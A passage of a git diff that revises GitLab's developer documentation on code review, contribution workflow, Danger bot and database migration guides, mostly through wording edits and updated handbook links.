X.10.0, or even try bigger upgrades!), so try to be liberal in accepting the old format if it is cheap to do so. 1. **Cached values** may persist across releases. If you are changing the type a @@ -478,12 +480,12 @@ Enterprise Edition instance. This has some implications: 1. Try to avoid that, and add to `ApplicationSetting` instead. 1. Ensure that it is also [added to Omnibus](https://docs.gitlab.com/omnibus/settings/gitlab.yml.html#adding-a-new-setting-to-gitlab-yml). -1. **Filesystem access** can be slow, so try to avoid +1. **File system access** can be slow, so try to avoid [shared files](shared_files.md) when an alternative solution is available. ### Review turnaround time -Since [unblocking others is always a top priority](https://about.gitlab.com/handbook/values/#global-optimization), +Because [unblocking others is always a top priority](https://about.gitlab.com/handbook/values/#global-optimization), reviewers are expected to review assigned merge requests in a timely manner, even when this may negatively impact their other tasks and priorities. @@ -496,15 +498,15 @@ To ensure swift feedback to ready-to-review code, we maintain a `Review-response > - review-response SLO = (time when first review response is provided) - (time MR is assigned to reviewer) < 2 business days -If you don't think you'll be able to review a merge request within the `Review-response` SLO +If you don't think you can review a merge request in the `Review-response` SLO time frame, let the author know as soon as possible and try to help them find -another reviewer or maintainer who will be able to, so that they can be unblocked +another reviewer or maintainer who is able to, so that they can be unblocked and get on with their work quickly. If you think you are at capacity and are unable to accept any more reviews until some have been completed, communicate this through your GitLab status by setting the `:red_circle:` emoji and mentioning that you are at capacity in the status -text. This will guide contributors to pick a different reviewer, helping us to +text. This guides contributors to pick a different reviewer, helping us to meet the SLO. Of course, if you are out of office and have @@ -522,13 +524,13 @@ A merge request may benefit from being considered a customer critical priority b Properties of customer critical merge requests: -- The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request will be customer critical. -- The DRI will assign the `customer-critical-merge-request` label to the merge request. +- The [Senior Director of Development](https://about.gitlab.com/job-families/engineering/engineering-management/#senior-director-engineering) ([@clefelhocz1](https://gitlab.com/clefelhocz1)) is the DRI for deciding if a merge request is customer critical. +- The DRI assigns the `customer-critical-merge-request` label to the merge request. - It is required that the reviewer(s) and maintainer(s) involved with a customer critical merge request are engaged as soon as this decision is made. - It is required to prioritize work for those involved on a customer critical merge request so that they have the time available necessary to focus on it. - It is required to adhere to GitLab [values](https://about.gitlab.com/handbook/values/) and processes when working on customer critical merge requests, taking particular note of family and friends first/work second, definition of done, iteration, and release when it's ready. - Customer critical merge requests are required to not reduce security, introduce data-loss risk, reduce availability, nor break existing functionality per the process for [prioritizing technical decisions](https://about.gitlab.com/handbook/engineering/#prioritizing-technical-decisions.md). -- On customer critical requests, it is _recommended_ that those involved _consider_ coordinating synchronously (Zoom, Slack) in addition to asynchronously (merge requests comments) if they believe this will reduce elapsed time to merge even though this _may_ sacrifice [efficiency](https://about.gitlab.com/company/culture/all-remote/asynchronous/#evaluating-efficiency.md). +- On customer critical requests, it is _recommended_ that those involved _consider_ coordinating synchronously (Zoom, Slack) in addition to asynchronously (merge requests comments) if they believe this may reduce the elapsed time to merge even though this _may_ sacrifice [efficiency](https://about.gitlab.com/company/culture/all-remote/asynchronous/#evaluating-efficiency.md). - After a customer critical merge request is merged, a retrospective must be completed with the intention of reducing the frequency of future customer critical merge requests. ## Examples diff --git a/doc/development/contributing/community_roles.md b/doc/development/contributing/community_roles.md index d880361e3aa..5419992517b 100644 --- a/doc/development/contributing/community_roles.md +++ b/doc/development/contributing/community_roles.md @@ -1,7 +1,7 @@ --- stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Community members & roles @@ -10,7 +10,7 @@ GitLab community members and their privileges/responsibilities. | Roles | Responsibilities | Requirements | |-------|------------------|--------------| -| Maintainer | Accepts merge requests on several GitLab projects | Added to the [team page](https://about.gitlab.com/company/team/). An expert on code reviews and knows the product/code base | +| Maintainer | Accepts merge requests on several GitLab projects | Added to the [team page](https://about.gitlab.com/company/team/). An expert on code reviews and knows the product/codebase | | Reviewer | Performs code reviews on MRs | Added to the [team page](https://about.gitlab.com/company/team/) | | Developer |Has access to GitLab internal infrastructure & issues (e.g. HR-related) | GitLab employee or a Core Team member (with an NDA) | | Contributor | Can make contributions to all GitLab public projects | Have a GitLab.com account | diff --git a/doc/development/contributing/design.md b/doc/development/contributing/design.md index 891c764f07f..c1dd5ff4c0b 100644 --- a/doc/development/contributing/design.md +++ b/doc/development/contributing/design.md @@ -2,7 +2,7 @@ type: reference, dev stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Implement design & UI elements diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md index 17431195c3d..329303558b0 100644 --- a/doc/development/contributing/index.md +++ b/doc/development/contributing/index.md @@ -2,7 +2,7 @@ type: reference, dev stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Contribute to GitLab @@ -37,7 +37,7 @@ Report suspected security vulnerabilities in private to `support@gitlab.com`, also see the [disclosure section on the GitLab.com website](https://about.gitlab.com/security/disclosure/). -DANGER: **Warning:** +WARNING: Do **NOT** create publicly viewable issues for suspected security vulnerabilities. ## Code of conduct @@ -144,10 +144,10 @@ Keep the following in mind when submitting merge requests: - When reviewers are reading through a merge request they may request guidance from other reviewers. -- If the code quality is found to not meet GitLab’s standards, the merge request reviewer will +- If the code quality is found to not meet GitLab standards, the merge request reviewer will provide guidance and refer the author to our: - [Documentation](../documentation/styleguide/index.md) style guide. - - Code style guides. + - [Code style guides](style_guides.md). - Sometimes style guides will be followed but the code will lack structural integrity, or the reviewer will have reservations about the code’s overall quality. When there is a reservation, the reviewer will inform the author and provide some guidance. diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md index 99650c24661..da38d1e73b4 100644 --- a/doc/development/contributing/issue_workflow.md +++ b/doc/development/contributing/issue_workflow.md @@ -2,7 +2,7 @@ type: reference, dev stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issues workflow @@ -92,7 +92,7 @@ The GitLab handbook documents [when something is a bug](https://about.gitlab.com ### Stage labels -Stage labels specify which [stage](https://about.gitlab.com/handbook/product/product-categories/#hierarchy) the issue belongs to. +Stage labels specify which [stage](https://about.gitlab.com/handbook/product/categories/#hierarchy) the issue belongs to. #### Naming and color convention @@ -136,7 +136,7 @@ The current group labels can be found by [searching the labels list for `group:: These labels are [scoped labels](../../user/project/labels.md#scoped-labels) and thus are mutually exclusive. -You can find the groups listed in the [Product Stages, Groups, and Categories](https://about.gitlab.com/handbook/product/product-categories/) page. +You can find the groups listed in the [Product Stages, Groups, and Categories](https://about.gitlab.com/handbook/product/categories/) page. We use the term group to map down product requirements from our product stages. As a team needs some way to collect the work their members are planning to be assigned to, we use the `~group::` labels to do so. @@ -155,7 +155,7 @@ Please read [Stage and Group labels in Throughput](https://about.gitlab.com/hand ### Category labels From the handbook's -[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/product-categories/#hierarchy) +[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/categories/#hierarchy) page: > Categories are high-level capabilities that may be a standalone product at @@ -187,7 +187,7 @@ in <https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml ### Feature labels From the handbook's -[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/product-categories/#hierarchy) +[Product stages, groups, and categories](https://about.gitlab.com/handbook/product/categories/#hierarchy) page: > Features: Small, discrete functionalities. e.g. Issue weights. Some common @@ -311,7 +311,7 @@ We automatically add the ~"Accepting merge requests" label to issues that match the [triage policy](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#accepting-merge-requests). We recommend people that have never contributed to any open source project to -look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for 1st time contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Good%20for%201st%20time%20contributors&assignee_id=None) attached to it. +look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for new contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=good%20for%20new%20contributors&assignee_id=None) attached to it. More experienced contributors are very welcome to tackle [any of them](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None). @@ -410,8 +410,8 @@ in the regression issue as fixes are addressed. ## Technical and UX debt -In order to track things that can be improved in GitLab's codebase, -we use the ~"technical debt" label in [GitLab's issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues). +In order to track things that can be improved in the GitLab codebase, +we use the ~"technical debt" label in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues). For missed user experience requirements, we use the ~"UX debt" label. These labels should be added to issues that describe things that can be improved, diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md index d5ffff7bfc8..7859af4e88b 100644 --- a/doc/development/contributing/merge_request_workflow.md +++ b/doc/development/contributing/merge_request_workflow.md @@ -2,7 +2,7 @@ type: reference, dev stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Merge requests workflow @@ -219,7 +219,7 @@ the contribution acceptance criteria below: instructions for help if the "license-finder" test fails with a `Dependencies that need approval` error. Also, make the reviewer aware of the new library and explain why you need it. -1. The merge request meets GitLab's [definition of done](#definition-of-done), below. +1. The merge request meets the GitLab [definition of done](#definition-of-done), below. ## Definition of done @@ -241,7 +241,7 @@ requirements. 1. Reviewed by relevant reviewers and all concerns are addressed for Availability, Regressions, Security. Documentation reviews should take place as soon as possible, but they should not block a merge request. 1. Merged by a project maintainer. 1. Create an issue in the [infrastructure issue tracker](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues) to inform the Infrastructure department when your contribution is changing default settings or introduces a new setting, if relevant. -1. Confirmed to be working in the [Canary stage](https://about.gitlab.com/handbook/engineering/#canary-testing) or on GitLab.com once the contribution is deployed. +1. Confirmed to be working in the [Canary stage](https://about.gitlab.com/handbook/engineering/#canary-testing) with no new [Sentry](https://about.gitlab.com/handbook/engineering/#sentry) errors or on GitLab.com once the contribution is deployed. 1. Added to the [release post](https://about.gitlab.com/handbook/marketing/blog/release-posts/), if relevant. 1. Added to [the website](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/features.yml), if relevant. diff --git a/doc/development/contributing/style_guides.md b/doc/development/contributing/style_guides.md index fd3fe239110..bfaee407cb8 100644 --- a/doc/development/contributing/style_guides.md +++ b/doc/development/contributing/style_guides.md @@ -2,7 +2,7 @@ type: reference, dev stage: none group: Development -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Style guides @@ -39,6 +39,9 @@ go get github.com/Arkweid/lefthook ## Or with Rubygems gem install lefthook +### You may need to run the following if you're using rbenv +rbenv rehash + # 3. Install the Git hooks lefthook install -f ``` @@ -94,6 +97,32 @@ To that end, we encourage creation of new RuboCop rules in the codebase. When creating a new cop that could be applied to multiple applications, we encourage you to add it to our [GitLab Styles](https://gitlab.com/gitlab-org/gitlab-styles) gem. +### Resolving RuboCop exceptions + +When the number of RuboCop exceptions exceed the default [`exclude-limit` of 15](https://docs.rubocop.org/rubocop/1.2/usage/basic_usage.html#command-line-flags), +we may want to resolve exceptions over multiple commits. To minimize confusion, +we should track our progress through the exception list. + +When auto-generating the `.rubocop_todo.yml` exception list for a particular Cop, +and more than 15 files are affected, we should add the exception list to +a different file, `.rubocop_manual_todo.yml`. + +This ensures that our list isn't mistakenly removed by another auto generation of +the `.rubocop_todo.yml`. This also allows us greater visibility into the exceptions +which are currently being resolved. + +One way to generate the initial list is to run the todo auto generation, +with `exclude limit` set to a high number. + +```shell +bundle exec rubocop --auto-gen-config --auto-gen-only-exclude --exclude-limit=10000 +``` + +You can then move the list from the freshly generated `.rubocop_todo.yml` for the Cop being actively +resolved and place it in the `.rubocop_manual_todo.yml`. In this scenario, do not commit auto generated +changes to the `.rubocop_todo.yml` as an `exclude limit` that is higher than 15 will make the +`.rubocop_todo.yml` hard to parse. + ## Database migrations See the dedicated [Database Migrations Style Guide](../migration_style_guide.md). diff --git a/doc/development/creating_enums.md b/doc/development/creating_enums.md index fbf35171ecb..d0f04c30c7b 100644 --- a/doc/development/creating_enums.md +++ b/doc/development/creating_enums.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Creating enums diff --git a/doc/development/cycle_analytics.md b/doc/development/cycle_analytics.md index 3947a012bd5..1619f3dcb10 100644 --- a/doc/development/cycle_analytics.md +++ b/doc/development/cycle_analytics.md @@ -3,3 +3,6 @@ redirect_to: 'value_stream_analytics.md' --- This document was moved to [another location](value_stream_analytics.md) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md index 4feec5c093a..59b31437161 100644 --- a/doc/development/dangerbot.md +++ b/doc/development/dangerbot.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Danger bot @@ -10,7 +10,7 @@ The GitLab CI/CD pipeline includes a `danger-review` job that uses [Danger](http to perform a variety of automated checks on the code under test. Danger is a gem that runs in the CI environment, like any other analysis tool. -What sets it apart from, e.g., RuboCop, is that it's designed to allow you to +What sets it apart from (for example, RuboCop) is that it's designed to allow you to easily write arbitrary code to test properties of your code or changes. To this end, it provides a set of common helpers and access to information about what has actually changed in your environment, then simply runs your code! @@ -32,7 +32,7 @@ from the start of the merge request. ### Disadvantages -- It's not obvious Danger will update the old comment, thus you need to +- It's not obvious Danger updates the old comment, thus you need to pay attention to it if it is updated or not. ## Run Danger locally @@ -46,15 +46,14 @@ bin/rake danger_local ## Operation On startup, Danger reads a [`Dangerfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Dangerfile) -from the project root. GitLab's Danger code is decomposed into a set of helpers +from the project root. Danger code in GitLab is decomposed into a set of helpers and plugins, all within the [`danger/`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/danger/) -subdirectory, so ours just tells Danger to load it all. Danger will then run +subdirectory, so ours just tells Danger to load it all. Danger then runs each plugin against the merge request, collecting the output from each. A plugin may output notifications, warnings, or errors, all of which are copied to the -CI job's log. If an error happens, the CI job (and so the entire pipeline) will -be failed. +CI job's log. If an error happens, the CI job (and so the entire pipeline) fails. -On merge requests, Danger will also copy the output to a comment on the MR +On merge requests, Danger also copies the output to a comment on the MR itself, increasing visibility. ## Development guidelines @@ -67,7 +66,7 @@ continue to apply. However, there are a few things that deserve special emphasis Danger is a powerful tool and flexible tool, but not always the most appropriate way to solve a given problem or workflow. -First, be aware of GitLab's [commitment to dogfooding](https://about.gitlab.com/handbook/engineering/#dogfooding). +First, be aware of the GitLab [commitment to dogfooding](https://about.gitlab.com/handbook/engineering/#dogfooding). The code we write for Danger is GitLab-specific, and it **may not** be most appropriate place to implement functionality that addresses a need we encounter. Our users, customers, and even our own satellite projects, such as [Gitaly](https://gitlab.com/gitlab-org/gitaly), @@ -75,17 +74,17 @@ often face similar challenges, after all. Think about how you could fulfill the same need while ensuring everyone can benefit from the work, and do that instead if you can. -If a standard tool (e.g. `rubocop`) exists for a task, it is better to use it -directly, rather than calling it via Danger. Running and debugging the results -of those tools locally is easier if Danger isn't involved, and unless you're -using some Danger-specific functionality, there's no benefit to including it in -the Danger run. +If a standard tool (for example, `rubocop`) exists for a task, it's better to +use it directly, rather than calling it by using Danger. Running and debugging +the results of those tools locally is easier if Danger isn't involved, and +unless you're using some Danger-specific functionality, there's no benefit to +including it in the Danger run. Danger is well-suited to prototyping and rapidly iterating on solutions, so if what we want to build is unclear, a solution in Danger can be thought of as a trial run to gather information about a product area. If you're doing this, make sure the problem you're trying to solve, and the outcomes of that prototyping, -are captured in an issue or epic as you go along. This will help us to address +are captured in an issue or epic as you go along. This helps us to address the need as part of the product in a future version of GitLab! ### Implementation details @@ -110,16 +109,17 @@ At present, we do this by putting the code in a module in `lib/gitlab/danger/... and including it in the matching `danger/plugins/...` file. Specs can then be added in `spec/lib/gitlab/danger/...`. -You'll only know if your `Dangerfile` works by pushing the branch that contains -it to GitLab. This can be quite frustrating, as it significantly increases the -cycle time when developing a new task, or trying to debug something in an -existing one. If you've followed the guidelines above, most of your code can -be exercised locally in RSpec, minimizing the number of cycles you need to go -through in CI. However, you can speed these cycles up somewhat by emptying the +To determine if your `Dangerfile` works, push the branch that contains it to +GitLab. This can be quite frustrating, as it significantly increases the cycle +time when developing a new task, or trying to debug something in an existing +one. If you've followed the guidelines above, most of your code can be exercised +locally in RSpec, minimizing the number of cycles you need to go through in CI. +However, you can speed these cycles up somewhat by emptying the `.gitlab/ci/rails.gitlab-ci.yml` file in your merge request. Just don't forget to revert the change before merging! -To enable the Dangerfile on another existing GitLab project, run the following extra steps, based on [this procedure](https://danger.systems/guides/getting_started.html#creating-a-bot-account-for-danger-to-use): +To enable the Dangerfile on another existing GitLab project, run the following +extra steps, based on [this procedure](https://danger.systems/guides/getting_started.html#creating-a-bot-account-for-danger-to-use): 1. Add `@gitlab-bot` to the project as a `reporter`. 1. Add the `@gitlab-bot`'s `GITLAB_API_PRIVATE_TOKEN` value as a value for a new CI/CD @@ -156,10 +156,10 @@ at GitLab so far: To work around this, you can add an [environment variable](../ci/variables/README.md) called `DANGER_GITLAB_API_TOKEN` with a personal API token to your - fork. That way the danger comments will be made from CI using that + fork. That way the danger comments are made from CI using that API token instead. Making the variable - [masked](../ci/variables/README.md#mask-a-custom-variable) will make sure + [masked](../ci/variables/README.md#mask-a-custom-variable) makes sure it doesn't show up in the job logs. The variable cannot be [protected](../ci/variables/README.md#protect-a-custom-variable), as it needs to be present for all feature branches. diff --git a/doc/development/database/add_foreign_key_to_existing_column.md b/doc/development/database/add_foreign_key_to_existing_column.md index 85411ff9aa7..a5d40d455d8 100644 --- a/doc/development/database/add_foreign_key_to_existing_column.md +++ b/doc/development/database/add_foreign_key_to_existing_column.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Adding foreign key constraint to an existing column @@ -79,7 +79,7 @@ class AddNotValidForeignKeyToEmailsUser < ActiveRecord::Migration[5.2] end ``` -CAUTION: **Caution:** +WARNING: Avoid using the `add_foreign_key` constraint more than once per migration file, unless the source and target tables are identical. #### Data migration to fix existing records @@ -119,7 +119,7 @@ end Validating the foreign key will scan the whole table and make sure that each relation is correct. -NOTE: **Note:** +NOTE: When using [background migrations](../background_migrations.md), foreign key validation should happen in the next GitLab release. Migration file for validating the foreign key: diff --git a/doc/development/database/constraint_naming_convention.md b/doc/development/database/constraint_naming_convention.md index 63a2d607ac5..debf74d3b40 100644 --- a/doc/development/database/constraint_naming_convention.md +++ b/doc/development/database/constraint_naming_convention.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Constraints naming conventions @@ -17,7 +17,7 @@ Please note that the intent is not to retroactively change names in existing dat | **Foreign Key** | `fk_<table name>_<column name>[_and_<column name>]*_<foreign table name>` | | `fk_projects_group_id_groups` | | **Index** | `index_<table name>_on_<column name>[_and_<column name>]*[_and_<column name in partial clause>]*` | | `index_repositories_on_group_id` | | **Unique Constraint** | `unique_<table name>_<column name>[_and_<column name>]*` | | `unique_projects_group_id_and_name` | -| **Check Constraint** | `check_<table name>_<column name>[_and_<column name>]*[_<suffix>]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to desambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`<br />`check_projects_type_enum`<br />`check_projects_admin1_id_and_admin2_id_differ` | +| **Check Constraint** | `check_<table name>_<column name>[_and_<column name>]*[_<suffix>]?` | The optional suffix should denote the type of validation, such as `length` and `enum`. It can also be used to disambiguate multiple `CHECK` constraints on the same column. | `check_projects_name_length`<br />`check_projects_type_enum`<br />`check_projects_admin1_id_and_admin2_id_differ` | | **Exclusion Constraint** | `excl_<table name>_<column name>[_and_<column name>]*_[_<suffix>]?` | The optional suffix should denote the type of exclusion being performed. | `excl_reservations_start_at_end_at_no_overlap` | ## Observations diff --git a/doc/development/database/database_reviewer_guidelines.md b/doc/development/database/database_reviewer_guidelines.md index 3345df8b46b..26083183d6d 100644 --- a/doc/development/database/database_reviewer_guidelines.md +++ b/doc/development/database/database_reviewer_guidelines.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database Reviewer Guidelines diff --git a/doc/development/database/index.md b/doc/development/database/index.md index 19159c6c0ff..367ef455898 100644 --- a/doc/development/database/index.md +++ b/doc/development/database/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database guides @@ -59,6 +59,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w - [Client-side connection-pool](client_side_connection_pool.md) - [Updating multiple values](setting_multiple_values.md) - [Constraints naming conventions](constraint_naming_convention.md) +- [Query performance guidelines](../query_performance.md) ## Case studies diff --git a/doc/development/database/maintenance_operations.md b/doc/development/database/maintenance_operations.md index c84ec31471e..9e7a35531ca 100644 --- a/doc/development/database/maintenance_operations.md +++ b/doc/development/database/maintenance_operations.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Maintenance operations diff --git a/doc/development/database/not_null_constraints.md b/doc/development/database/not_null_constraints.md index 96271863d94..01d5b7af7f1 100644 --- a/doc/development/database/not_null_constraints.md +++ b/doc/development/database/not_null_constraints.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # `NOT NULL` constraints @@ -66,7 +66,7 @@ different releases: - Add a post-deployment migration to add the `NOT NULL` constraint with `validate: false`. - Add a post-deployment migration to fix the existing records. - NOTE: **Note:** + NOTE: Depending on the size of the table, a background migration for cleanup could be required in the next release. See the [`NOT NULL` constraints on large tables](not_null_constraints.md#not-null-constraints-on-large-tables) section for more information. @@ -94,7 +94,7 @@ that all epics should have a user-generated description. After checking our production database, we know that there are `epics` with `NULL` descriptions, so we can not add and validate the constraint in one step. -NOTE: **Note:** +NOTE: Even if we did not have any epic with a `NULL` description, another instance of GitLab could have such records, so we would follow the same process either way. diff --git a/doc/development/database/setting_multiple_values.md b/doc/development/database/setting_multiple_values.md index c354247a9f8..54870380047 100644 --- a/doc/development/database/setting_multiple_values.md +++ b/doc/development/database/setting_multiple_values.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Setting Multiple Values diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md index fe8cfa5cd22..8b839e929c7 100644 --- a/doc/development/database/strings_and_the_text_data_type.md +++ b/doc/development/database/strings_and_the_text_data_type.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Strings and the Text data type @@ -17,7 +17,7 @@ The `text` data type can not be defined with a limit, so `add_text_limit` is enf adding a [check constraint](https://www.postgresql.org/docs/11/ddl-constraints.html) on the column and then validating it at a followup step. -## Background info +## Background information The reason we always want to use `text` instead of `string` is that `string` columns have the disadvantage that if you want to update their limit, you have to run an `ALTER TABLE ...` command. @@ -133,7 +133,7 @@ Adding text limits to existing database columns requires multiple steps split in - Add a post-deployment migration to add the limit to the text column with `validate: false`. - Add a post-deployment migration to fix the existing records. - NOTE: **Note:** + NOTE: Depending on the size of the table, a background migration for cleanup could be required in the next release. See [text limit constraints on large tables](strings_and_the_text_data_type.md#text-limit-constraints-on-large-tables) for more information. @@ -154,7 +154,7 @@ other processes that try to access it while running the update. Also, after checking our production database, we know that there are `issues` with more characters in their title than the 1024 character limit, so we can not add and validate the constraint in one step. -NOTE: **Note:** +NOTE: Even if we did not have any record with a title larger than the provided limit, another instance of GitLab could have such records, so we would follow the same process either way. @@ -256,7 +256,7 @@ end To keep this guide short, we skipped the definition of the background migration and only provided a high level example of the post-deployment migration that is used to schedule the batches. -You can find more info on the guide about [background migrations](../background_migrations.md) +You can find more information on the guide about [background migrations](../background_migrations.md) #### Validate the text limit (next release) diff --git a/doc/development/database/table_partitioning.md b/doc/development/database/table_partitioning.md index 30d0b0a2f5b..358b9bb42b0 100644 --- a/doc/development/database/table_partitioning.md +++ b/doc/development/database/table_partitioning.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database table partitioning @@ -98,7 +98,7 @@ CREATE TABLE audit_events ( PARTITION BY RANGE(created_at); ``` -NOTE: **Note:** +NOTE: The primary key of a partitioned table must include the partition key as part of the primary key definition. diff --git a/doc/development/database_debugging.md b/doc/development/database_debugging.md index ebd57df498e..f4558189000 100644 --- a/doc/development/database_debugging.md +++ b/doc/development/database_debugging.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Troubleshooting and Debugging Database diff --git a/doc/development/database_query_comments.md b/doc/development/database_query_comments.md index ccaaadef4f4..8a5abad3815 100644 --- a/doc/development/database_query_comments.md +++ b/doc/development/database_query_comments.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Database query comments with Marginalia diff --git a/doc/development/database_review.md b/doc/development/database_review.md index d1ec32af464..f0c265df9ab 100644 --- a/doc/development/database_review.md +++ b/doc/development/database_review.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see 